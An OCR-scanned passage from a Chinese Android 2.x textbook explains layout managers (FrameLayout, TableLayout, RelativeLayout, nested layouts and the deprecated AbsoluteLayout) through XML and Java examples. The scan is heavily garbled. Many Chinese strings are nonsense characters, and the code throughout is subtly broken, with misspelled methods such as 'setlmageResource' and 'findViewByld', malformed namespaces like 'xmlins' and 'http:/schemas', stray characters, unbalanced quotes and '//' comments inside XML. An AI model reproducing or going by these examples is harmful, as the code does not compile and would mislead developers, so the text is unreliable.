android:text=" 磅 答 入 人 徐 抄 经 有 " /默认 显示 文字 


android:layout_width="wrap_content” /组件 宽度 为 文字 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 


<Button // 普 通 按 钮 
android:id="@+id/mybut" // 此 组 件 ID， 程 序 中 使 用 
android:text= "胡乱 " /上 默认 显示 文字 


android:layout_width="wrap_content” ”// 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_contenty> /| 组件 高 度 为 文字 高 度 
</FrameLayout> 
本 程序 分 别 定义 了 3 个 组 件 : 图 片 I 554:Android_2.3 
显示 框 (ImageView) 、 文 本 编辑 框 
(EditText) 和 按钮 (Button) ， 由 于 采 
用 的 布局 管理 器 是 FrameLayout, 所 以 
所 有 的 组 件 都 会 在 左上 方 集合 。 程 序 
的 运行 效果 如 图 5-4 所 示 。 E Bp 
与 线性 布 局 管 a 器 - 样 . 对 F 图 5-4 使 用 FrameLayonut 布局 管理 器 
FrameLayout 也 可 以 使 用 android.widget. 
FrameLayout 类 进行 控制 , 而 且 所 有 的 布局 参数 也 可 以 通过 android.widget.FrameLayout.LayoutParams 
类 配置 ， 这 两 个 类 的 继承 结构 如 下 : 
android.widget.FrameLayout 类 继承 结构 android.widget.FrameLayout.LayoutParams 类 继承 结构 


java.lang.Object java.lang.Object 
b, android.view.View b android.view.ViewGroup.LayoutParams 
b android.view.ViewGroup b, android.view.ViewGroup.MarginLayoutParams 
b android.widget.FrameLayout b, android.widget.FrameLayout.LayoutParams 


而 这 两 个 类 中 的 操作 形式 与 LinearLayout、LinearLayout.LayoutParams 在 操作 形式 上 是 相似 

的 ， 下 面 通 过 代码 说 明 。 
【 例 5-5】 通过 Activity 程序 定义 FrameLayout 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.view.ViewGroup:; 

import android.widget.Button; 

import android.widget.EditText; 
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import android.widget.FrameLayout; 

import android.widget.ImageView: 

public class MyFrameLayoutDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 

FrameLayout layout = new FrameLayout(this) ; 

FrameLayout.LayoutParams layoutParam = new FrameLayout.LayoutParams( 
ViewGroup.LayoutParams.FILL_PARENT， ”// 布 局 管理 器 宽度 为 屏幕 宽度 
ViewGroup.LayoutParams.FILL_PARENT7T); 。 // 布 局 管理 器 高 度 为 屏幕 高 度 

FrameLayout.LayoutParams viewParam = new FrameLayout.LayoutParams( 
ViewGroup.LayoutParams.WRAP_CONTENT, // 组 件 宽度 为 内 容 宽度 
ViewGroup.LayoutParams.WRAP_CONTENT);// 组 件 高 度 为 内 容 高 度 


ImageView img = new ImageView(this) ; // 定 义 图 片 组 件 
img.setlmageResource(R.drawable.mldn_39) ; // 设 置 资源 图 片 
EditText edit = new EditText(this) ; /定义 文本 编辑 组 件 
edit.setText(" 请 输入 您 的 姓名 ...") ; // 设 置 显 示 文 字 
Button but = new Button(this) ; // 定 义 按钮 
but.setText(" 按 我 ") ; // 设 置 文 字 
layout.addView(img,viewParam) ; 1/ 增 加 组 件 
layout.addView(edit,viewParam) ; // 增 加 组 件 
layout.addView(but,viewParam) ; 1// 增 加 组 件 
super.setContentView(layout, layoutParam); /显示 布局 管理 器 


} 


} 

本 程序 不 再 使 用 布局 管理 器 文件 (main.xml) 对 显示 组 件 进行 配置 ， 所 有 的 配置 直接 在 
Activity 程序 中 完成 ， 首 先 定义 了 一 个 FrameLayout 布局 管理 器 对 象 ， 之 后 又 为 此 布局 管理 器 配 
置 了 显示 参数 ， 而 后 分 别 定义 了 3 个 组 件 ，ImageView、EditText 和 Button， 并 且 分 别 将 这 些 组 
件 加 入 到 了 布局 管理 器 中 ， 程 序 的 运行 效果 如 图 5-4 所 示 。 


5.4 表格 布局 管理 器 : TableLayout 


TableLayout 是 采用 表格 的 形式 对 控件 的 布局 进行 管理 的 ， 在 TableLayout 布局 管理 器 中 ， 
要 使 用 TableRow 进行 表格 行 的 控制 ， 之 后 所 有 的 组 件 要 在 TableRow 中 增加 ， 如 图 5-5 所 示 。 


[ablerow | 


[ableRow | 


TableLayout 
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图 5-5 TableLayout 与 TableRow 
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六 提示 

表格 布局 主要 用 于 列表 操作 上 。 

有 程序 开发 经 验 的 读者 应 该 清楚 ， 在 编写 程序 进行 列表 输出 的 操作 上 ， 都 会 使 用 表格 布 
局 管理 器 对 数据 显示 进行 排列 ， 例 如 ， 在 HTML 中 可 以 将 表格 作为 布局 管理 器 使 用 ， 本 书 
在 以 后 讲解 列表 操作 的 范例 中 都 会 以 表格 的 形式 进行 排版 。 


下 面 使 用 TableLayout 完成 表格 布局 的 组 件 排列 形式 。 
【 例 5-6】 在 main.xml 文件 中 指定 排版 及 定义 组 件 


<?xml version="1.0" encoding="utf-8"?> 
<TableLayout 


// 使 用 TableLayout 布局 


xmlins:android="http:/schemas.android.com/apK/res/android" 


android:id="@+id/TableLayout01" 


/此 布局 管理 器 的 ID 


android:layout_width="fill_parent” // 布 局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 的 高 度 为 屏幕 高 度 
<TableRow> // 定 义 表格 的 行 
<EditText // 定 义 文本 编辑 框 
android:id="@+id/myinput” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content”" // 组 件 高 度 为 文字 高 度 
android:text= " 磅 和 雁 入 规 竺 尖 翁 完 .. > // 默 认 的 显示 文字 
<Button // 普 通 按 钮 
android:id="@+id/search” // 组 件 ID， 程 序 中 使 用 
android:text= " 胡 完 ' /按钮 的 显示 文字 
android:layout_width="wrap_content” // 组 件 的 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 的 高 度 为 文字 高 度 
</TableRow> // 行 布局 完结 
<View // 定 义 一 条 分 割 线 
android:layout_height="2px” // 分 割 线 的 高 度 为 2px 
android:background=#FF909090" /> // 定 义 分 割 线 的 颜色 
<TableRow> // 定 义 表格 的 行 
<TextView // 文 本 显示 框 
android:id="@+id/info1”" // 组 件 ID， 程 序 中 使 用 
android:text=" 访 效 帮 区 实 给 克 : “ // 组 件 的 默认 显示 文字 
android:textSize="20px" // 设 置 文字 大 小 
android:layout_ width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
<RadioGroup // 定 义 单 选 按 钮 组 
android:id="@+id/encoding” // 单 选 按钮 ID， 程序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:orientation="vertical” /所 有 选项 垂直 排列 
android:checkedButton="@+id/gbk"> // 设 置 默 认 选 中 项 
<RadioButton // 单 选 按钮 选项 
android:id="@+id/utfr" /此 选项 ID， 程 序 中 使 用 
android:text="UTF 篇 克 "/> // 选 项 的 默认 文字 
<RadioButton // 单 选 按钮 选项 
android:id="@+id/gbk”" // 此 选项 ID， 程序 中 使 用 
android:text="GBK 入 码 /> /选项 的 默认 文字 
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</RadioGroup> 
</TableRow> 
</TableLayout> 


本 程序 采用 TableLayout 进行 布局 ， 首 先 定义 了 两 行 〈 两 个 TableRow) ， 之 后 向 第 1 行 中 
增加 了 一 个 文本 框 和 一 个 按钮 ， 向 第 2 行 中 增加 了 一 个 信息 提示 框 和 一 个 单 选 按钮 组 件 ， 为 了 
让 组 件 清晰 显示 ， 中 间 使 用 View 增加 了 一 条 分 割 线 。 程 序 的 运行 效果 如 图 5-6 所 示 。 


CEEZTTRTEER _ 


音 /GBK 编 码 


图 5-6 使 


以 上 程序 使 用 了 表格 布局 管理 器 (TableLayout) 进行 组 件 的 显示 排版 ， 而 使 用 TableLayout 
除了 完成 排版 功能 之 外 ， 最 多 的 也 用 于 进行 信息 的 表格 显示 输出 ， 例 如 以 下 使 用 表格 排版 输出 


TableLayout 布局 


了 一 些 基 本 的 用 户 信息 。 
【 例 5-7】 使 用 表格 排版 输出 基本 用 户 信息 
<?xml version="1.0" encoding="utf-8"?> 
<TableLayout 


// 使 用 表格 布局 管理 器 


xmlins:android="http:/schemas.android.com/apk/res/android" 


android:id="@+id/TableLayout01" 
android:layout_width="fill_parent”" 
android:layout_height="fill_parent"> 


/布局 管理 器 的 1D 
// 布 局 管理 器 占据 整个 屏幕 宽度 
// 布 局 管理 器 占据 整个 屏幕 高 度 


<TableRow> /定义 表格 行 
<TextView // 定 义 文本 显示 组 件 
android:layout_column="0" // 表 格 列 编号 
android:text="/D" // 默 认 显 示 文字 
android:gravity="center_horizontal” /| 居中 对 齐 
android:padding="8px" /> // 定 义 组 件 大 小 
<TextView /定义 文本 显示 组 件 
android:layout_column="1" /表格 列 编号 
android:text=" 既 用" // 默 认 显 示 文字 
android:gravity="center_horizontal” // 居 中 对 齐 
android:padding="8px" /> // 定 义 组 件 大 小 
<TextView /定义 文本 显示 组 件 
android:layout_column="2" // 表 格 列 编号 
android:text="EMA 人 L” // 默 认 显示 文字 
android:gravity="center_horizontal” /居中 对 齐 
android:padding="8px"/> /定义 组 件 大 小 
<TextView /定义 文本 显示 组 件 
android:layout_column="3" // 表 格 列 编号 
android:text=" 态 加" /默认 显示 文字 
android:gravity="center_horizontal” // 居 中 对 齐 
android:padding="8px"/> /定义 组 件 大 小 
</TableRow> /表格 行 完结 
<View /定义 一 条 分 割 线 
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android:layout_height="2px”" /定义 组 件 大 小 
android:background= 咕 FF909090"/> /定义 显示 颜色 
<TableRow> /定义 表格 行 
<TextView /定义 文本 显示 组 件 
android:layout_column="0" // 表 格 列 编号 
android:text="MLDN" /默认 显示 文字 
android:gravity="center_horizontal” /居中 对 齐 
android:padding="3px"/> /定义 组 件 大 小 
<TextView // 定 义 文本 显示 组 件 
android:layout_column="1" // 表 格 列 编号 
android:text= " 厅 乐 稍 龙 " /默认 显示 文字 
android:gravity="center_horizontal” // 居 中 对 齐 
android:padding="3px" /> // 定 义 组 件 大 小 
<TextView // 定 义 文本 显示 组 件 
android:layout_column="2" // 表 格 列 编号 
android:text= "mp/adnkf@163.com” // 默 认 显示 文字 
android:gravity="center_horizontal” // 居 中 对 齐 
android:padding="3px" /> // 定 义 组 件 大 小 
<TextView // 定 义 文本 显示 组 件 
android:layout_column="3" // 表 格 列 编号 


android:text= "万 训 琴 姚 区 历 11 号 乱 外 大 芦 黎 凡 和 花 网 类 江天 厦 A4 座 6 层 一 一 MLDN 


改 舌 稍 龙 " // 默 认 显 示 文 字 
android:gravity="center_horizontal” /| 居中 对 齐 
android:padding="3px" /> /定义 组 件 大 小 

</TableRow> // 表 格 行 完结 
<TableRow> /定义 表格 行 
<TextView // 定 义 文本 显示 组 件 
android:layout_column="0" // 表 格 列 编号 
android:text="LXH”" // 默 认 显 示 文 字 
android:gravity="center_horizontal” // 居 中 对 齐 
android:padding="3px"/> /定义 组 件 大 小 
<TextView /定义 文本 显示 组 件 
android:layout_column="71" /表格 列 编号 
android:text= "过 兴 人 骆 " // 默 认 显 示 文 字 
android:gravity="center_horizontal” // 居 中 对 齐 
android:padding="3px”" /> /定义 组 件 大 小 
<TextView // 定 义 文本 显示 组 件 
android:layout_column="2" // 表 格 列 编号 
android:text="m/ldnqa@sina.com" // 默 认 显示 文字 
android:gravity="center_horizontal ” /居中 对 齐 
android:padding="3px"/> /定义 组 件 大 小 
<TextView /定义 文本 显示 组 件 
android:layout_column="3" /| 表格 列 编号 
android:text=" 到 学 " // 默 认 显 示 文字 
android:gravity="center_horizontal” /居中 对 齐 
android:padding="3px"/> /定义 组 件 大 小 
</TableRow> /表格 行 完结 
</TableLayout> /| 表格 布 局 完结 
本 程序 一 共 定 义 了 3 行 3 列 的 表格 显示 信息 ， 其 中 第 1 行 用 于 显示 信息 的 标 头 ， 而 第 2、3 


行 分 别 显示 对 应 的 数据 ， 而 且 每 一 列 都 进行 了 不 同 的 编号 。 程 序 的 运行 效果 如 图 5-7 所 示 。 
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图 5-7 表格 输出 


通过 图 5-7 可 以 发 现 ， 此 时 所 有 的 数据 的 确 是 按照 表格 的 形式 进行 了 显示 ， 但 是 也 注意 到 ， 
当 数 据 内 容 过 多 时 显示 并 不 完整 , 此 时 , 可 以 通过 <TableLayout> 中 提供 的 android:shrinkColumns 
属性 将 第 4 列 〈android:layout column='"3") 定义 为 可 收缩 列 ， 如 以 下 范例 所 示 。 
【 例 5-8】 定义 可 收缩 列 
<TableLayout /表格 布局 
xmlins:android="http:/schemas.android.com/apK/res/android" 
android:id=”"@+tid/TableLayout01” // 布 局 管理 器 ID， 程 序 中 使 用 
android:layout_width="fil_parent” ”// 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fil/parent” // 布 局 管理 器 高 度 为 屏幕 高 度 
android:shrinkColumns="3"> // 第 4 列 设置 为 可 收缩 列 ， 可 根据 文字 信息 调整 显示 格式 
设置 完 此 参数 后 ， 程 序 的 运行 效果 如 图 5-8 所 示 。 
如 果 要 想 隐 藏 某 个 列 显 示 , 可 以 直接 使 用 android:collapseColumns 属性 完成 ,如果 要 想 设置 
多 个 不 显示 的 列 ， 则 直接 使 用 “,” 分 割 。 
【 例 5-9】 设置 第 1 列 和 第 4 列 不 显示 


<TableLayout /表格 布局 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:id="@+id/TableLayout01" // 布 局 管理 器 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent” // 布 局 管理 器 高 度 为 屏幕 高 度 
android:collapseColumns="0,3> // 第 1 列 和 第 4 列 设置 为 隐藏 


设置 完 此 参数 后 ， 程 序 的 运行 效果 如 图 5-9 所 示 。 


国 5554:Android_2.3 Wl 5554:Android_2.3 
上 


图 5-8 ”自动 进行 显示 格式 的 调整 图 5-9 ”设置 不 显示 的 操作 列 


如 果 用 户 想 为 一 个 表格 的 显示 设置 一 些 背 景 图 片 ， 可 以 使 用 android:background 属性 指定 背 
景 图 片 ， 但 是 此 时 背景 图 片 应 该 首先 保存 在 res\drawable-* 文 件 夹 中 ， 例 如 ， 以 下 范例 设置 了 图 
片 mldn_ logo 用 于 在 表格 中 显示 。 

【 例 5-10】 为 表格 增加 背景 图 片 


<TableLayout /表格 布局 
xmlns:android="http:/schemas.android.com/apK/res/android" 
android:id="@+id/TableLayout01" // 布 局 管理 器 ID， 程序 中 使 用 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”" // 布 局 管理 器 高 度 为 屏幕 高 度 
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android:shrinkColumns="3" 1/ 第 4 列 设置 为 可 收缩 列 
android:background="@drawable/mldn_logo"> /定义 背景 图 片 


设置 完 此 参数 后 ， 程 序 的 运行 效果 如 图 5-10 所 示 。 


北京 魔 乐 科技 软件 学 院 


www.midn.cn 


图 5-10 设置 背景 图 片 
基本 的 程序 完成 之 后 , 下 面 再 研究 一 下 如 何 通过 Activity 程序 动态 地 生成 表格 布局 管理 器 的 
操作 。 由 于 表格 布局 管理 器 中 需要 使 用 TableLayout 和 TableRow 两 个 元 素 进行 配置 ， 所 以 在 
Android 中 专门 提供 了 android.widget.TableLayout 和 android.widget.TableRow 两 个 类 ， 这 两 个 类 
的 继承 结构 如 下 : 


android.widget.TableLayout 类 的 继承 结构 android.widget.TableRow 类 的 继承 结构 
java.lang.Object java.lang.Object 
b android.view.View b android.view.View 
b android.view.ViewGroup b android.view.ViewGroup 
b android.widget.LinearLayout b android.widget.LinearLayout 
b android.widget. TableLayout b android.widget.TableRow 


除了 这 两 个 布局 管理 类 之 外 ， 表 格 布局 的 参数 类 也 提供 了 android.widget.TableLayout. 
LayoutParams 和 android.widget.TableRow.LayoutParams 两 个 类 ， 这 两 个 类 的 继承 结构 如 下 : 
android.widget.TableLayout.LayoutParams 类 的 ”android.widget.TableRow.LayoutParams 类 的 继 
继承 结构 承 结构 
java.lang.Object java.lang.Object 


b android.view.ViewGroup.LayoutParams b android.view.ViewGroup.LayoutParams 
b android.view.ViewGroup.MarginLayoutParams b android.view.ViewGroup.MarginLayoutParams 
b android.widget.LinearLayout.LayoutParams b, android.widget.LinearLayout.LayoutParams 
bandroid.widget TableLayoutLayoutParams b android.widget TableRow.LayoutParams 
【 例 5-11】 定义 Activity 程序 ， 动 态 生成 表格 布 


package org.Ixh.demo; 
import android.app.Activity; 


可 
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import android.os.Bundle; 
import android.view.ViewGroup; 
import android.widget.TableLayout'; 
import android.widget. TableRow; 
import android.widget. TextView; 
public class MyTableLayoutDemo extends Activity { 
private String titleDatall[] = new String[0 { 
{ "ID", "姓名 ", "EMAIL", "地 址 " }, // 标 题 头 
{"MLDN"，" 魔 乐 科 技 " "mldnkf@163.com ， 
"北京 西城 区 甲 11 号 德 外 大 街 德 胜 科技 园 美 江 大 厦 A 座 6 层 一 -MLDN 魔 
{"LXH", "李兴华 ", "mldnqa@sina.com", "天 津 "}}; /显示 数据 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
TableLayout layout = new TableLayout(this); // 表 格 布局 
TableLayout.LayoutParams layoutParam = new TableLayout.LayoutParams( 
ViewGroup.LayoutParams.FILL_PARENT， ”// 布 局 管理 器 宽度 为 屏幕 宽度 
ViewGroup.LayoutParams.FILL_PAREN7T);  // 布 局 管理 器 高 度 为 屏幕 高 度 
layout.setBackgroundResource(R.drawable.mldn_/logo);”// 设 置 背 景 图 片 
for (int x = 0; x < this .titleData.length; x++) { 


TableRow row = new TableRow(this); // 定 义 表格 行 
for (int y = 0; y < this .titleData[x].length; y++) { 
TextView text = new TextView(this); // 创 建文 本 组 件 
text.setText(this .titleData[x][y]); // 设 置 文本 内 容 
row.addView(text, y); // 增 加 组 件 
} 
layout.addView(row); // 增 加 表格 行 
1 
super.setContentView(layout, layoutParam); // 定 义 组 件 


b 
} 
本 程序 采用 动态 生成 表格 布局 的 方式 ， 所 以 程序 首先 定义 了 一 个 TableLayout 布局 管 
之 后 采用 循环 的 方式 生成 表格 行 (TableRow) 和 相应 的 表格 列 组 件 〈TextView ) 。 程 请 
效果 如 图 5-11 所 示 。 
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图 5-11 通过 程序 动态 生成 表格 
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从 实际 的 Android 开发 来 讲 , 表格 的 主要 功能 还 是 在 于 列表 上 , 但 如 上 面 所 示 的 程序 实在 是 
过 于 复杂 ， 所 以 对 于 本 程序 读者 只 需要 理解 含义 即 可 ， 在 以 后 对 于 表格 布局 会 结合 ListView 组 
件 进行 实际 的 应 用 讲解 。 


5.5 ”相对 布局 管理 器 : 


RelativeLayout 


相对 布局 管理 器 指 参考 某 一 控件 对 组 件 进行 摆 放 ， 可 以 通过 控制 将 组 件 摆 放 在 一 个 指定 参考 
组 件 的 上 、 下 、 左 、 右 等 位 置 ， 这 些 操作 可 以 直接 通过 各 个 组 件 提供 的 属性 完成 ， 如 表 5-3 所 示 。 


表 5-3 组件 相对 布局 的 常用 属性 


No. 属性 名 称 对 应 的 规则 常量 描述 

L android:layout_below RelativeLayout.BELOW 摆 放 在 指定 组 件 的 下 边 

2 | android:layout toLeftOf RelativeLayoutLEFT OF 摆 放 在 指定 组 件 的 左边 

3 android:layout toRisghtOf “| RelativeLayoutRIGHT OF 氛 放 在 指定 组 件 的 右边 

4 | android:layout alignTop RelativeLayout. ALIGN_TOP 以 指定 组 件 为 参考 进行 上 对 齐 
5 android:layout alignBottom | RelativeLayoutALIGN BOTTOM | 以 指定 组 件 考 进行 下 对 齐 
6 android:layout aliegnLeft RelativeLayout.ALIGN LEFT 以 指定 组 件 为 参考 进行 左 对 齐 
学 android:layout alienRieght | RelativeLayout.ALIGN RIGHT 以 指定 组 件 为 参考 进行 右 对 齐 

表 5-3 中 除了 给 出 常用 的 布局 属性 之 外 ,也 给 出 了 对 应 的 规则 常量 的 名 称 , 这 些 规 则 常量 可 
以 在 使 用 Activity 程序 生成 组 件 并 对 组 件 排版 时 使 用 。 


【 例 5-12】 使 用 相对 布局 管理 器 进行 组 件 的 排列 
<?xml version= "1.0" encoding="utf-8"?> 
<RelativeLayout 
xmlIns:android="http:/schemas.android.com/apK/res/android" 


android:id="@+id/AbsoluteLayout01" 
android:layout_width="fill_parent”" 
android:layout_height="fill_parent"> 


<ImageView 
android:id="@+ 


/定义 相对 布局 管理 器 


/布局 管理 器 ID， 程 序 使 用 
/此 布局 管理 器 将 占据 整个 屏幕 的 宽度 
/此 布局 管理 器 将 占据 整个 屏幕 的 高 度 


/定义 图 片 显 示 


id/imga”" 


// 此 组 件 ID， 程 序 中 使 用 


<ImageView 


<TextView 


android:src="@drawable/android_mldn_01””// 显 示 图 片 
android:layout_width="wrap_content" // 组 件 宽度 为 图 片 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 图 片 高 度 
/定义 图 片 显 示 
android:id="@+id/imgb”" // 此 组 件 ID， 程 序 中 使 用 
android:src="@drawable/android_mldn_02” /显示 图 片 
android:layout_width="wrap_content”" // 组 件 宽度 为 图 片 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 
android:layout_toRightOf="@id/imga"/> // 摆 放 在 imga 图 片 的 右边 
/定义 文本 显示 组 件 
android:text= "万 刘 厅 舌 利 龙 舟 任 党 陆 ' // 上 默认 显示 文字 
android:id="@+id/mytext” // 此 组 件 ID， 程 序 中 使 用 
android:layout_height= "wrap_content" // 组 件 高 度 为 文字 高 度 
android:layout_ width="wrap_content" // 组 件 宽度 为 文字 宽度 


android:layout_toRightOf="@id/imga” // 组 件 摆 放 在 imga 图 片 的 右边 
android:layout_below="@id/imgb" /> // 组 件 摆 放 在 imgb 图 片 的 下 边 
<Button // 定 义 普通 按钮 
android:text="http:/www.mldnjava.cn” /按钮 的 默认 显示 文字 
android:id="@+id/mybut” // 此 组 件 ID， 程 序 中 使 用 
android:layout_height= "wrap_content" // 组 件 高 度 为 文字 高 度 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_below="@id/mytext" /> // 此 组 件 摆 放 在 mytext 组 件 之 下 


</RelativeLayout> 
本 程序 定义 了 两 个 图 片 组 件 、 一 个 文字 组 件 和 一 个 按钮 ， 并 且 使 用 了 相对 布局 管理 器 对 这 
些 组 件 进行 了 摆 放 ， 程 序 的 运行 效果 如 图 5-12 所 示 。 
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图 5-12 ”使 用 相对 布局 管理 器 摆 放 组 件 


完成 了 基本 的 配置 操作 之 后 ， 下 面 再 通过 RelativeLayout 类 和 RelativeLayout.LayoutParams 
类 在 Activity 类 中 进行 配置 ， 这 两 个 类 的 继承 结构 如 下 : 


RelativeLayout 类 的 继承 结构 RelativeLayout.LayoutParams 类 的 继承 结构 
java.lang.Object java.lang.Object 
b android.view.View b android.view.ViewGroup.LayoutParams 
b android.view.ViewGroup b, android.view.ViewGroup.MarginLayoutParams 
b android.widget.RelativeLayout b android.widget.RelativeLayout.LayoutParams 


如 果 要 想 使 用 RelativeLayout.LayoutParams 类 指定 新 组 件 的 排列 参数 , 还 需要 了 解 该 类 所 提 
供 的 一 些 操作 方法 ， 如 表 5-4 所 示 。 
表 5-4 RelativeLayout.LayoutParams 类 的 主要 方法 
描述 
指定 RelativeLayout 布局 的 宽度 和 高 度 
增加 指定 的 参数 规则 
3 | 取得 一 个 组 件 的 全 部 参数 规则 


下 面 通 过 一 个 实际 的 程序 来 演示 如 何 动态 地 生成 组 件 ， 但 由 于 相对 布局 必须 以 组 件 作为 布 
局 参考 ， 所 以 本 程序 将 直接 在 上 一 程序 的 基础 之 上 进行 新 组 件 的 配置 。 
【 例 5-13】 定义 Activity 程序 ， 动 态 生成 组 件 
package org.Ixh.demo; 
import android.app.Activity; 
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import android.os.Bundle; 

import android.view.ViewGroup:; 
import android.widget.EditText'; 

import android.widget.RelativeLayout; 
public class MyView extends Activity { 


@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 调 用 父 类 onCreate() 方 法 
setContentView(R.layout.main); // 调 用 布局 文件 


RelativeLayout nl = (RelativeLayout) super.findViewByld(R.id.AbsoluteLayout01) ; 
RelativeLayout.LayoutParams param = new RelativeLayout.LayoutParams( 


ViewGroup.LayoutParams.FILL_PARENT // 布 局 管理 器 宽度 为 屏幕 宽度 
ViewGroup.LayoutParams.FILL_PARENT // 布 局 管理 器 高 度 为 屏幕 高 度 
中 /设置 布局 的 宽度 和 高 度 


param.addRule(RelativeLayout.BELOW, R.id.mybut); // 放 在 mybut 组 件 之 下 
param.addRule(RelativeLayout.RIGHT_OF, R.id.imga);”// 放 在 imga 组 件 右边 
EditText text = new EditText(this) ; // 定 义 文本 输入 框 
rl.addView(text,param) ; // 加 入 组 件 

} 

本 例 中 的 Activity 程序 首先 取得 了 所 配置 的 RelativeLayout 布局 管理 器 的 对 象 ， 之 后 利用 
RelativeLayout.LayoutParams 增加 了 组 件 的 相对 排列 的 规则 ， 而 最 后 要 增加 的 新 组 件 (EditText) 
则 依据 RelativeLayout.LayoutParams 所 设置 的 规则 增加 到 手机 屏幕 上 。 程 序 的 运行 效果 如 图 5-13 
所 示 。 


http://www.mldnjava.cn 


图 5-13 通过 Activity 程序 增加 组 件 


5.6 布局 管理 器 的 点 套 


在 使 用 布局 管理 器 进行 组 件 布局 时 ， 也 可 以 将 各 个 布局 管理 器 嵌 套 在 一 起 使 用 ， 例 如 ， 在 
-个 线性 布局 中 包含 其 他 的 线性 布局 或 者 是 表格 布局 都 是 允许 的 。 现 在 希望 完成 一 个 如 图 5-14 
所 示 的 显示 样式 ， 则 可 以 按照 如 下 范例 编写 代码 。 
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图 5-14 布局 管理 器 柑 套 


【 例 5-14】 定义 布局 管理 器 进行 嵌 套 布局 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout 


xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:orientation="vertica/" android:layout_width="fill_parent” 


android:layout_height="fill_parent"> 


<Button 


android:layout_width="fill_parent”" 
android:layout_height="wrap_content” 


android:text=" 龙 训 麻 矢 稍 花 球 伴 党 院 ' /> 


<LinearLayout 


/线性 布局 管理 器 


/按钮 组 件 
// 组 件 宽 度 为 屏幕 宽度 
// 组 件 高 度 为 文字 高 度 
1/ 默认 文字 
// 内 赃 线 性 布局 管理 器 


xmlIns:android="http:/schemas.android.com/apk/res/android" 
android:orientation="horizonta/" 
android:layout_width="fill_parent” 
android:layout_height= "wrap_content> 


<ImageView 


android:src="@drawable/mldn_3g" 
android:layout_width="wrap_content” 


android:layout_height="wrap_content" /> 


<ImageView 


android:src="@drawable/mldn_man”" 
android:layout_width="wrap_content” 


android:layout_height="wrap_content" /> 


</LinearLayout> 
<TableLayout 


/所 有 组 件 水 平 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 组 件 高 度 
// 定 义 图 片 显示 

// 显 示 图 片 ID 

// 组 件 宽度 为 图 片 宽度 

// 组 件 高 度 为 图 片 高 度 

// 定 义 图 片 显示 

// 显 示 图 片 ID 

// 组 件 宽度 为 图 片 宽度 

// 组 件 高 度 为 图 片 高 度 


1/ 内 赃 表 格 布局 管理 器 


xmins:android="http:/schemas.android.com/apKk/res/android" 
android:layout_width="wrap_content" android:layout_height="wrap_content"> 


<TableRow> 


<EditText 


android:layout_width="wrap_content" 
android:layout_height="wrap_content” 
android:text= " 磅 务 入 郁 竺 关 人 经 完 ."/> 


<Button 


android:text= " 难 完 ' 


android:layout_width="wrap_content” 


// 表 格 行 

// 文 本 编辑 框 

// 组 件 宽度 为 文字 宽度 
// 组 件 高 度 为 文字 高 度 
/默认 显示 文字 
/按钮 组 件 

/默认 显示 文字 

// 组 件 宽度 为 文字 宽度 
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android:layout_height="wrap_content" /> /组 件 高 度 为 文字 高 度 
</TableRow> 
</TableLayout> 
</LinearLayout> 
本 程序 在 一 个 线性 布局 管理 器 之 中 藤 套 了 另外 一 个 线性 布局 管理 器 和 一 个 表格 布局 管理 
器 。 程 序 的 运行 效果 如 图 5-15 所 示 。 


魔 乐 科技 
3G/ 嵌 入 式 学 院 


| 请 输入 检索 关键 字 .… 图 


图 5-15 布局 管理 器 慌 套 


5.7 ”绝对 定位 布局 管理 器 : AbsoluteLayout 


让 提示 

此 布局 管理 器 已 经 被 废除 。 

本 节 所 讲解 的 绝对 定位 布局 管理 器 由 于 版 本 的 升级 原因 ,在 Android 2.3.3 中 已 经 被 废除 
了 ， 而 考虑 到 不 同 Android 版 本 的 开发 者 ， 在 此 进行 简单 介绍 。 讲 解 开发 是 在 Android 2.2 的 
环境 下 进行 的 ， 读 者 建立 项 目 时 考虑 好 版 本 问题 即 可 ， 有 兴趣 的 读者 可 以 了 解 一 下 


在 Android 2.3 以 前 还 存在 着 一 种 绝对 定位 布局 管理 器 (AbsoluteLayout) ， 此 布局 管理 器 是 
-种 采用 坐标 定位 显示 的 布局 管理 器 , 它 会 将 屏幕 按照 XX 坐标 和 YY 坐标 的 形式 对 组 件 进 行 排列 ， 
如 图 5-16 所 示 。 


图 5-16 绝对 定位 布局 
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但 是 如 果 要 想 使 用 绝对 定位 布局 管理 器 ， 需 要 每 一 个 组 件 中 的 以 下 两 个 属性 支持 。 


回 android:layout x: 组 件 在 义 轴 上 的 坐标 。 
回 android:layout y: 组 件 在 Y 轴 上 的 坐标 。 
人 bp 注 意 


不 建议 使 用 绝对 定位 的 布局 管理 器 。 


如 果 在 开发 中 使 用 绝对 定位 布局 管理 器 ， 则 有 可 能 造成 显示 上 的 麻烦 ， 尤 其 是 在 修改 组 


件 大 小 时 ， 显 示 的 控制 也 会 变 得 相当 复杂 ， 所 以 尽 可 能 不 要 使 用 绝对 定位 布局 管理 器 。 


【 例 5-15】 使 用 绝对 定位 的 方式 显示 排列 组 件 
<?xml version= "1.0" encoding="utf-8"?> 
<AbsoluteLayout 

